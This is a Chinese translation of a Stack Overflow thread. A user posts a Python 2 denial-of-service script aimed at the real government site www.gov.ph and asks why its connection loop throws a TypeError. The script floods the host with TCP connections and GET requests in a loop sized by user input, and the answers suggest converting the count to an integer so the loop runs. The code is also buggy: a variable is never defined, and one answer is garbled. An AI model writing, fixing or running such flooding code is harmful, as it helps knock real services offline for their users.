我试图在python中制作一个非常简单的DDoS脚本,但我似乎得到了这个输出:
for i in xrange(conn):
TypeError: an integer is required拜托帮帮忙,我不知道为什么会这样。谢谢。
这是我的剧本:
#usr/bin/python
"""
"""
import time, socket, os, sys, string, random, subprocess
from flask import Flask
from colorama import *
init()
# useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
version = "0.0.1]"
subprocess.call('clear', shell=True)
def main():
print(Fore.RED + "\t ,/ \. ")
print("\t (( )) ")
print("\t \`. ,' ")
print("\t )') (`( ")
print("\t ,'`/ \,`. ")
print("\t(`-( )-')")
print("\t \-') (`-/ ")
print("\t /`' `'\ ")
print("\t ( _ _ ) ")
print("\t | ( \ / ) | ")
print("\t | `.\ /,' | ")
print("\t | `\ /' | ")
print("\t ( ) ")
print("\t \ / ")
print("\t \ / ")
print("\t `. ,' ")
print("\t `-.-' ")
print("\t [v" + version)
print "\nSelect option:"
print
print "\t [1] Berry DDoSer"
print "\t [2] Start Webgui (Currently Still in Beta)"
print "\n\t [0] Exit"
print
print
choice = raw_input(Fore.BLUE + 'berry > ')
print
if choice == '1':
print ("[!] DDoS Mode Loaded")
host = 'www.gov.ph'
port = 80
conn = raw_input("How many connections do you want to make: ")
ip = socket.gethostbyname( host )
def dos():
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, 80))
ddos.send( "GET /%s HTTP/1.1\r\n" % message )
ddos.sendto( "GET /%s HTTP/1.1\r\n" % message, (ip, port) )
ddos.send( "GET /%s HTTP/1.1\r\n" % message )
except socket.error, msg:
print("[!] [Connection Failed]")
print("[DDoS Attack Servering on port %s..." + port)
ddos.close()
for i in xrange(conn):
dos()
if choice == '2':
app = Flask(__name__)
@app.route("/")
def web_start():
return '''
<html>
<head>
<style>
body{
background-color: yellow;
}
</style>
</head>
<body>
<center>
<h1 style="color: red;">Hello</h1>
<button id="testButton">Test button</button>
</center>
</body>
</html>
'''
if __name__ == "__main__":
app.run()
if choice == "exit" or choice == '0':
raw_input("\t[!] Quiting Session...")
print("\n[!] Session Closed.")
exit()
if __name__ == '__main__':
main()请注意其他内容,ddos脚本使用的是选项1
发布于 2015-07-07 01:22:56
conn被读取为字符串。试着把它转换成整数。xrange(int(conn))
发布于 2015-07-07 01:29:35
我认为你应该尝试用xrange(int(conn)代替xrange(int(conn)
https://stackoverflow.com/questions/31258235
复制相似问题